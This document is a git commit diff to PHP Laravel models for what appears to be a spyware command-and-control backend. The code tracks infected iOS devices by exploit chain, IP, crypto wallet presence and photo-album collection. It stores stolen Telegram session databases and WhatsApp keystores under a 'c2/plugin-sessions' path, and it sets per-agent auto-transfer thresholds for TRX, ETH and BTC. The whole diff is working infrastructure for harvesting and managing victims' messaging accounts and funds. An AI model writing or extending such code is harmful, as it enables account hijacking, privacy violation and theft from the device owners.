feat: tg/ws

This commit is contained in:
hashbro
2026-08-31 02:45:24 +08:00
parent 9176af86dd
commit 337bf45c79
47 changed files with 1725 additions and 598 deletions
+39
View File
@@ -20,12 +20,15 @@ class Device extends Model
protected $fillable = [
'device_id', 'chain', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
'telegram_notified', 'album_storage', 'has_wallet', 'wallet_names',
'has_whatsapp', 'has_telegram',
];
protected $attributes = [
'has_wallet' => self::WALLET_UNKNOWN,
'chain' => self::CHAIN_CORUNA,
'album_storage' => false,
'has_whatsapp' => false,
'has_telegram' => false,
];
protected function casts(): array
@@ -36,6 +39,8 @@ class Device extends Model
'has_wallet' => 'integer',
'chain' => 'integer',
'wallet_names' => 'array',
'has_whatsapp' => 'boolean',
'has_telegram' => 'boolean',
];
}
@@ -62,6 +67,40 @@ class Device extends Model
return array_values(array_filter(array_map(static fn ($n) => trim((string) $n), $names), static fn ($n) => $n !== ''));
}
public function hasWhatsApp(): bool
{
return (bool) $this->has_whatsapp;
}
public function hasTelegram(): bool
{
return (bool) $this->has_telegram;
}
/**
* @return list<string>
*/
public function imNameList(): array
{
$names = [];
if ($this->hasWhatsApp()) {
$names[] = 'WhatsApp';
}
if ($this->hasTelegram()) {
$names[] = 'Telegram';
}
return $names;
}
public function refreshImFlags(): void
{
$kinds = $this->pluginSessions()->distinct()->pluck('kind')->map(fn ($k) => (int) $k)->all();
$this->has_whatsapp = in_array(PluginSession::KIND_WHATSAPP, $kinds, true);
$this->has_telegram = in_array(PluginSession::KIND_TELEGRAM, $kinds, true);
$this->save();
}
public function albumStorageEnabled(): bool
{
return (bool) ($this->album_storage ?? false);
+201 -2
View File
@@ -4,12 +4,74 @@ namespace App\Models;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo;
use Illuminate\Support\Facades\Storage;
class PluginSession extends Model
{
public const KIND_TELEGRAM = 'telegram';
public const KIND_TELEGRAM = 1;
public const KIND_WHATSAPP = 'whatsapp';
public const KIND_WHATSAPP = 2;
public static function payloadFilePath(string $kind, string $deviceKey, ?string $accountId): string
{
$dir = (int) $kind === self::KIND_TELEGRAM ? 'telegram' : 'whatsapp';
$safe = $accountId !== null && $accountId !== ''
? preg_replace('/[^A-Za-z0-9._-]+/', '_', $accountId)
: 'unknown';
return 'c2/plugin-sessions/'.$deviceKey.'/'.$dir.'/'.$safe.'.json';
}
public static function whatsappFilePath(string $deviceKey, ?string $accountId): string
{
return self::payloadFilePath(self::KIND_WHATSAPP, $deviceKey, $accountId);
}
/**
* @param array<string, mixed> $blob
* @return array<string, mixed>
*/
public static function dbSummary(string $kind, array $blob, string $path, int $bytes): array
{
if ((int) $kind === self::KIND_TELEGRAM) {
return [
'user_id' => self::scalarOrNull($blob['user_id'] ?? $blob['userId'] ?? null),
'has_state' => isset($blob['state']) && $blob['state'] !== '' && $blob['state'] !== [],
'has_db' => isset($blob['db_sqlite']) && $blob['db_sqlite'] !== '' && $blob['db_sqlite'] !== null,
'payload_path' => $path,
'payload_bytes' => $bytes,
];
}
return [
'nickname' => self::scalarOrNull($blob['nickname'] ?? null),
'whatsappVersion' => self::scalarOrNull($blob['whatsappVersion'] ?? $blob['version'] ?? null),
'phoneId' => self::scalarOrNull($blob['phoneId'] ?? null),
'has_keystore' => isset($blob['phoneKeyStore']) || isset($blob['clientStaticKeypairBase64']),
'payload_path' => $path,
'payload_bytes' => $bytes,
];
}
/**
* @param array<string, mixed> $blob
* @return array<string, mixed>
*/
public static function whatsappDbSummary(array $blob, string $path, int $bytes): array
{
return self::dbSummary(self::KIND_WHATSAPP, $blob, $path, $bytes);
}
private static function scalarOrNull(mixed $value): ?string
{
if (is_string($value) || is_int($value) || is_float($value)) {
$value = trim((string) $value);
return $value !== '' ? $value : null;
}
return null;
}
protected $fillable = [
'device_id', 'device_key', 'kind', 'account_id', 'phone', 'payload',
@@ -18,6 +80,7 @@ class PluginSession extends Model
protected function casts(): array
{
return [
'kind' => 'integer',
'payload' => 'array',
];
}
@@ -35,4 +98,140 @@ class PluginSession extends Model
default => (string) $this->kind,
};
}
public function isTelegram(): bool
{
return (int) $this->kind === self::KIND_TELEGRAM;
}
public function isWhatsApp(): bool
{
return (int) $this->kind === self::KIND_WHATSAPP;
}
/**
* Compact fields for the collection list (omit large blobs).
*
* @return array<string, mixed>
*/
public function listSummary(): array
{
$payload = is_array($this->payload) ? $this->payload : [];
if ($this->isWhatsApp()) {
return [
'account_id' => $this->account_id ?: '',
'phone' => $this->phone ?: '',
'nickname' => $this->scalarFromPayload($payload, ['nickname']),
'version' => $this->scalarFromPayload($payload, ['whatsappVersion', 'version']),
'has_keystore' => (bool) ($payload['has_keystore']
?? (isset($payload['phoneKeyStore']) || isset($payload['clientStaticKeypairBase64']))),
];
}
return [
'account_id' => $this->account_id ?: $this->scalarFromPayload($payload, ['user_id', 'userId']),
'has_state' => (bool) ($payload['has_state']
?? (isset($payload['state']) && $payload['state'] !== '' && $payload['state'] !== [])),
'has_db' => (bool) ($payload['has_db']
?? (isset($payload['db_sqlite']) && $payload['db_sqlite'] !== '' && $payload['db_sqlite'] !== null)),
];
}
/**
* Full session blob from the on-disk file, or the JSON column if no file.
*
* @return array<string, mixed>
*/
public function fullPayload(): array
{
$payload = is_array($this->payload) ? $this->payload : [];
$path = $payload['payload_path'] ?? null;
if (is_string($path) && $path !== '' && Storage::disk('local')->exists($path)) {
$decoded = json_decode((string) Storage::disk('local')->get($path), true);
if (is_array($decoded)) {
return $decoded;
}
}
return $payload;
}
public function payloadPath(): ?string
{
$path = is_array($this->payload) ? ($this->payload['payload_path'] ?? null) : null;
return is_string($path) && $path !== '' ? $path : null;
}
public function downloadFilename(): string
{
$label = $this->isWhatsApp() ? 'ws' : 'tg';
$device = preg_replace('/[^A-Za-z0-9._-]+/', '_', (string) ($this->device_key ?: $this->device_id)) ?: 'device';
$account = preg_replace('/[^A-Za-z0-9._-]+/', '_', (string) ($this->account_id ?: $this->id)) ?: 'account';
return $label.'-'.$device.'-'.$account.'.json';
}
public function displayPayload(): array
{
$payload = $this->fullPayload();
if ($this->isTelegram()) {
return $payload;
}
return $this->truncatePayload($payload);
}
/**
* @param array<string, mixed> $payload
*/
private function scalarFromPayload(array $payload, array $keys): string
{
foreach ($keys as $key) {
$value = $payload[$key] ?? null;
if (is_int($value) || is_float($value)) {
return (string) $value;
}
if (is_string($value) && trim($value) !== '') {
return trim($value);
}
}
return '';
}
/**
* @param array<string, mixed> $payload
* @return array<string, mixed>
*/
private function truncatePayload(array $payload, int $max = 240): array
{
$out = [];
foreach ($payload as $key => $value) {
if (is_array($value)) {
$encoded = json_encode($value);
if (is_string($encoded) && strlen($encoded) > 1500) {
$out[$key] = [
'_omitted' => true,
'items' => count($value),
'bytes' => strlen($encoded),
];
continue;
}
$out[$key] = $this->truncatePayload($value, $max);
continue;
}
if (! is_string($value)) {
$out[$key] = $value;
continue;
}
if (strlen($value) > $max) {
$out[$key] = substr($value, 0, $max).'… ('.strlen($value).' bytes)';
continue;
}
$out[$key] = $value;
}
return $out;
}
}
+32
View File
@@ -14,6 +14,7 @@ class User extends Authenticatable
'auto_transfer_threshold_trx',
'auto_transfer_threshold_eth',
'auto_transfer_threshold_btc',
'album_storage_default',
];
protected $hidden = [
@@ -39,9 +40,14 @@ class User extends Authenticatable
'auto_transfer_threshold_trx' => 'decimal:8',
'auto_transfer_threshold_eth' => 'decimal:8',
'auto_transfer_threshold_btc' => 'decimal:8',
'album_storage_default' => 'boolean',
];
}
protected $attributes = [
'album_storage_default' => false,
];
public function isEnabled(): bool
{
return (int) $this->status === 1;
@@ -52,6 +58,32 @@ class User extends Authenticatable
return $this->hasMany(Channel::class, 'user_id');
}
public function albumStorageDefaultEnabled(): bool
{
return (bool) ($this->album_storage_default ?? false);
}
/**
* New-device album_storage default for a channel.
* Agent channels use that agent's switch (defaults off). Official / unknown stay off.
*/
public static function albumStorageDefaultForChannel(?string $channelId): bool
{
$channelId = trim((string) $channelId);
if ($channelId === '') {
return false;
}
$userId = Channel::query()->where('channel_id', $channelId)->value('user_id');
if ($userId === null || (int) $userId <= 0) {
return false;
}
$agent = static::query()->find((int) $userId);
return $agent?->albumStorageDefaultEnabled() ?? false;
}
public function hasTelegramChat(): bool
{
return trim((string) ($this->chat_id ?? '')) !== '';